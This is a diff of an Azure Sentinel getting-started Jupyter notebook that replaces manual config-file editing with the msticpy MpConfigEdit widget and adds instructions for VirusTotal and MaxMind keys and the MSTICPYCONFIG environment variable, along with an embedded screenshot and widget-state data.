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" + } + }, + "cell_type": "markdown", + "metadata": {}, + "source": [ + "The output should look something like this\n", + "![image.png](attachment:47398a86-078d-4497-b7ec-68f496b2278d.png)" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "**Step 3 - Import these settings into the editor**" + ] + }, + { + "cell_type": "code", + "execution_count": 7, + "metadata": {}, + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + "AuthKey\n", + "AuthKey\n" + ] + }, + { + "data": { + "application/vnd.jupyter.widget-view+json": { + "model_id": "33066883d4cf4568b9a94f08b4a4d404", + "version_major": 2, + "version_minor": 0 + }, + "text/plain": [ + "VBox(children=(Tab(children=(VBox(children=(Label(value='Azure Sentinel workspace settings'), HBox(children=(V…" + ] + }, + "metadata": {}, + "output_type": "display_data" + } + ], + "source": [ + "mpedit = MpConfigEdit(settings=mpconfig)\n", + "mpedit.set_tab(\"AzureSentinel\")\n", + "mpedit" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "#### Plan B - If you do not have a config.json\n", + "You will need to find your Azure Sentinel workspace ID, Azure TenantId and, optionally the SubscriptionId, ResourceGroup name and Workspace name.\n", + "\n", + "You can get the workspace ID by opening Azure Sentinel in the Azure Portal and selecting Settings > Workspace Settings. Your Workspace ID is displayed near the top of this page.\n", + "\n", + "If you don't know your Azure tenant ID you can use this code to get it, given the Subscription ID. (replace `{subscription-id}` with the subscription UUID that you obtained in the previous step.\n", + "\n", + "```python\n", + "from msticpy.common.config.ce_common import get_def_tenant_id\n", + "get_def_tenant_id(\"{subscription-id}\")\n", + "```\n", + "You can get your tenant ID (also referred to organization or directory ID) via [Azure Active Directory](https://docs.microsoft.com/en-us/onedrive/find-your-office-365-tenant-id)\n", + "\n", + "Open the MpConfigEdit tool and manually create a workspace entry.\n", + "\n", + "You can give the workspace any name you like. It makes sense to keep this similar to\n", + "the actual workspace name but you can shorten it to make it easier to remember." + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "mpedit = MpConfigEdit()\n", + "mpedit.set_tab(\"AzureSentinel\")\n", + "mpedit" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "### Create a copy of your workspace entry as a Default\n", + "Make sure your workspace settings are selected and displayed and hit the **Set as Default** button." ] }, { @@ -212,45 +485,39 @@ "cell_type": "markdown", "metadata": {}, "source": [ - "If you do not have and msticpyconfig file we can populate one for you. Before you do this you will need a few things.\n", - "\n", - "The first is the Workspace ID and Tenant ID of the Azure Sentinel Workspace you wish to connect to.\n", - "\n", - " - You can get the workspace ID by opening Azure Sentinel in the [Azure Portal](https://portal.azure.com) and selecting Settings > Workspace Settings. Your Workspace ID is displayed near the top of this page.\n", - "\n", - "- You can get your tenant ID (also referred to organization or directory ID) via [Azure Active Directory](https://docs.microsoft.com/en-us/onedrive/find-your-office-365-tenant-id)\n", - "\n", + "### Adding Threat Intel and GeoIP providers" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ "We are going to use [VirusTotal](https://www.virustotal.com) to enrich our Azure Sentinel data. For this you will need a VirusTotal API key, one of these can be obtained for free (as a personnal key) via the [VirusTotal](https://developers.virustotal.com/v3.0/reference#getting-started) website.\n", "We are using VirusTotal for this notebook but we also support a range of other threat intelligence providers: https://msticpy.readthedocs.io/en/latest/data_acquisition/TIProviders.html\n", "

\n", "In addition we are going to plot IP address locations on a map, in order to do this we are going to use [MaxMind](https://www.maxmind.com) to geolocate IP addresses which requires an API key. You can sign up for a free account and API key at https://www.maxmind.com/en/geolite2/signup. \n", "

\n", - "Once you have these required items run the cell below and you will prompted to enter these elements:" + "To add the VirusTotal details, run the following cell.\n", + "\n", + "If you are unclear about what anything means use the **Help** drop-down. This\n", + "has instructions and links to more detailed documentation." ] }, { "cell_type": "code", "execution_count": null, - "metadata": { - "scrolled": true - }, + "metadata": {}, "outputs": [], "source": [ - "ws_id = nbwidgets.GetEnvironmentKey(env_var='WORKSPACE_ID',\n", - " prompt='Please enter your Log Analytics Workspace Id:', auto_display=True)\n", - "ten_id = nbwidgets.GetEnvironmentKey(env_var='TENANT_ID',\n", - " prompt='Please enter your Log Analytics Tenant Id:', auto_display=True)\n", - "vt_key = nbwidgets.GetEnvironmentKey(env_var='VT_KEY',\n", - " prompt='Please enter your VirusTotal API Key:', auto_display=True)\n", - "mm_key = nbwidgets.GetEnvironmentKey(env_var='MM_KEY',\n", - " prompt='Please enter your MaxMind API Key:', auto_display=True)" + "mpedit.set_tab(\"TI Providers\")\n", + "mpedit" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ - " The cell below will now populate a msticpyconfig file with these values:" + "To add the Maxmind GeopIP Lite details, run the following cell." ] }, { @@ -259,48 +526,76 @@ "metadata": {}, "outputs": [], "source": [ - "with open(\"msticpyconfig.yaml\") as config:\n", - " data = yaml.load(config, Loader=yaml.Loader)\n", - "data['AzureSentinel']\n", - "\n", - "workspace = {\"Default\":{\"WorkspaceId\": ws_id.value, \"TenantId\": ten_id.value}}\n", - "ti = {\"VirusTotal\":{\"Args\": {\"AuthKey\" : vt_key.value}, \"Primary\" : True, \"Provider\": \"VirusTotal\"}}\n", - "other_prov = {\"GeoIPLite\" : {\"Args\" : {\"AuthKey\" : mm_key.value, \"DBFolder\" : \"~/msticpy\"}, \"Provider\" : \"GeoLiteLookup\"}}\n", - "data['AzureSentinel']['Workspaces'] = workspace\n", - "data['TIProviders'] = ti\n", - "data['OtherProviders'] = other_prov\n", - "\n", - "with open(\"msticpyconfig.yaml\", 'w') as config:\n", - " yaml.dump(data, config)\n", - " \n", - "print(\"msticpyconfig.yaml updated\")" + "mpedit.set_tab(\"GeoIP Providers\")\n", + "mpedit" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ - "We can now validate our configuration is correct." + "### Validate your settings\n", + "- click on **Validate settings**\n", + "\n", + "You may see some warnings about missing sections but not about the Azure Sentinel, TIProviders or GeoIP Providers settings." ] }, { - "cell_type": "code", - "execution_count": null, + "cell_type": "markdown", "metadata": {}, - "outputs": [], "source": [ - "from msticpy.common.pkg_config import refresh_config, validate_config\n", - "refresh_config()\n", - "validate_config()" + "### Save the settings\n", + "- type in a path to the desired file location into the **Conf File** text box\n", + "- click on **Save File**" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ - "> **Note** you may see warnings for missing providers when running this cell.\n", - "> This is not an issue as we will not be using all providers in this notebook\n", - "> so long as you get thie message \"No errors found.\" you are OK to proceed.\n" + "### Set a `MSTICPYCONFIG` environment variable so that you can always find your `msticpyconfig.yaml`\n", + "\n", + "**On Azure ML**\n", + "\n", + "If you are using Azure ML you will need to have this file in a location\n", + "accessible to the Azure ML compute - this means either in the AzureML filestore\n", + "or on the filesystem (usually the home directory) of the Compute instance.\n", + "\n", + "If you are storing secrets such as API keys in the file you should\n", + "probably opt to store the file on the compute instance.\n", + "\n", + "For more detailed instructions, please see the *Setting the path to your msticpyconfig.yaml* section\n", + "in the [Configuring Notebook Environment](https://github.com/Azure/Azure-Sentinel-Notebooks/blob/master/ConfiguringNotebookEnvironment.ipynb).\n", + "\n", + "Add one of the following lines to the `~/.bashrc` file.\n", + "If you moved `msticpyconfig.yaml` to the home directory on the compute instance.\n", + "```bash\n", + "export MSTICPYCONFIG=~/msticpyconfig.yaml\n", + "```\n", + "If you opted to leave `msticpyconfig.yaml` in the AzureML file store.\n", + "```bash\n", + "export MSTICPYCONFIG=~/cloudfiles/code/Users/YOURNAME/msticpyconfig.yaml\n", + "```\n", + "(replace `YOURNAME` with your user name)\n", + "\n", + "**Locally or elsewhere**\n", + "\n", + "How you set an environment variable depends on your operating system.\n", + "- On Windows\n", + " - open **Settings**\n", + " - click **System**\n", + " - select **About** from the left-side menu\n", + " - click on **Advanced system settings** (on the right of the window)\n", + " - select the **Advanced** tab and click on the **Environment Variables...** button\n", + " - add either a user or system variable named MSTICPYCONFIG with the path to your config file as its value.\n", + " \n", + "- On Linux/MAC\n", + " - Add the following to your .bashrc file (phew that was easy!)\n", + " ```bash\n", + " export MSTICPYCONFIG=~/.msticpyconfig.yaml\n", + " ```\n", + "Here we've opted to name the file .msticpyconfig.yaml and store it in our home directory. You can\n", + "change either of these." ] }, { @@ -561,7 +856,7 @@ "outputs": [], "source": [ "md(\"Display only rows where TargetUserName value is 'MSTICAdmin': \", \"bold\")\n", - "df[df['TargetUserName']==\"MSTICAdmin\"]" + "df[df['TargetUserName'] == \"MSTICAdmin\"]" ] }, { @@ -578,16 +873,28 @@ "cell_type": "markdown", "metadata": {}, "source": [ - "Our DataFrame call also be extended to add new columns with additional data if reqired:" + "Our DataFrame call also be extended to add new columns with additional data if required:" ] }, { "cell_type": "code", - "execution_count": null, + "execution_count": 2, "metadata": {}, - "outputs": [], + "outputs": [ + { + "ename": "NameError", + "evalue": "name 'df' is not defined", + "output_type": "error", + "traceback": [ + "\u001b[1;31m---------------------------------------------------------------------------\u001b[0m", + "\u001b[1;31mNameError\u001b[0m Traceback (most recent call last)", + "\u001b[1;32m\u001b[0m in \u001b[0;36m\u001b[1;34m\u001b[0m\n\u001b[1;32m----> 1\u001b[1;33m \u001b[0mdf\u001b[0m\u001b[1;33m[\u001b[0m\u001b[1;34m\"NewCol\"\u001b[0m\u001b[1;33m]\u001b[0m \u001b[1;33m=\u001b[0m \u001b[1;34m\"Look at my new data!\"\u001b[0m \u001b[1;31m# Add the same string to every row in this column\u001b[0m\u001b[1;33m\u001b[0m\u001b[1;33m\u001b[0m\u001b[0m\n\u001b[0m\u001b[0;32m 2\u001b[0m \u001b[0mdisplay\u001b[0m\u001b[1;33m(\u001b[0m\u001b[0mdf\u001b[0m\u001b[1;33m[\u001b[0m\u001b[1;33m[\u001b[0m\u001b[1;34m\"TenantId\"\u001b[0m\u001b[1;33m,\u001b[0m\u001b[1;34m\"Account\"\u001b[0m\u001b[1;33m,\u001b[0m \u001b[1;34m\"TimeGenerated\"\u001b[0m\u001b[1;33m,\u001b[0m \u001b[1;34m\"NewCol\"\u001b[0m\u001b[1;33m]\u001b[0m\u001b[1;33m]\u001b[0m\u001b[1;33m.\u001b[0m\u001b[0mhead\u001b[0m\u001b[1;33m(\u001b[0m\u001b[1;36m2\u001b[0m\u001b[1;33m)\u001b[0m\u001b[1;33m)\u001b[0m\u001b[1;33m\u001b[0m\u001b[1;33m\u001b[0m\u001b[0m\n", + "\u001b[1;31mNameError\u001b[0m: name 'df' is not defined" + ] + } + ], "source": [ - "df[\"NewCol\"] = \"Look at my new data!\"\n", + "df[\"NewCol\"] = \"Look at my new data!\" # Add the same string to every row in this column\n", "display(df[[\"TenantId\",\"Account\", \"TimeGenerated\", \"NewCol\"]].head(2))" ] }, @@ -819,9 +1126,9 @@ "metadata": { "hide_input": false, "kernelspec": { - "display_name": "Python 3.6", + "display_name": "Python (condadev)", "language": "python", - "name": "python36" + "name": "condadev" }, "language_info": { "codemirror_mode": { @@ -833,7 +1140,7 @@ "name": "python", "nbconvert_exporter": "python", "pygments_lexer": "ipython3", - "version": "3.6.7" + "version": "3.7.9" }, "toc": { "base_numbering": 1, @@ -879,7 +1186,976 @@ }, "widgets": { "application/vnd.jupyter.widget-state+json": { - "state": {}, + "state": { + "01d4dab10f5d497980c3bad500574f59": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "border": "solid gray 1px", + "margin": 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The Ananconda distribution is a good starting point since it comes with many required packages already installed.\n", "\n", "### Creating a virtual environment\n", - "If you are running these notebooks locally, it is a good idea to create a clean virtual python environment, before installing any of the packages . This will prevent installed packages conflicting with versions that you may need for other applications.\n", + "If you are running these notebooks locally, it is a good idea to create a clean Python *virtual environment*, before installing any of the packages . This will prevent installed packages conflicting with versions that you may need for other applications.\n", "\n", "For standard python use the [`venv`](https://docs.python.org/3/library/venv.html?highlight=venv) command. \n", "For Conda use the [`conda env`](https://docs.conda.io/projects/conda/en/latest/user-guide/tasks/manage-environments.html) command. \n", - "In both cases be sure to activate the environment before running jupyter using `activate {my_env_name}` or `conda activate {my_env_name}`.\n", - "\n", - "\n", - "### Using Requirements.txt\n", - "In **Azure Notebooks** you can configure \"Add a requirements.txt\" to the current project. See [this notebook](https://github.com/Azure/Azure-Sentinel-Notebooks/HowTos/AzureNotebooks-ConfigurePythonVersion.ipynb) for details.\n", - "\n", - "If running in another environment you can install most of the required packages by downloading `requirements.txt` from the [Azure Sentinel Github](https://github.com/Azure/Azure-Sentinel-Notebooks/Notebooks/requirements.txt).\n", - "\n", - "In a standard environment, you can simply run\n", - "\n", - "```\n", - "pip install -r requirements.txt [--user]\n", - "```\n", - "to install the requirements or run the \"Install Packages from this Notebook\" cell below." + "In both cases be sure to activate the environment before running jupyter using `venvpath/Scripts/activate` or `conda activate {my_env_name}`.\n" ] }, { @@ -194,9 +181,24 @@ }, { "cell_type": "code", - "execution_count": null, + "execution_count": 4, "metadata": {}, - "outputs": [], + "outputs": [ + { + "data": { + "application/vnd.jupyter.widget-view+json": { + "model_id": "98d4d8c746fd49c2b3b4ba0b404b2fce", + "version_major": 2, + "version_minor": 0 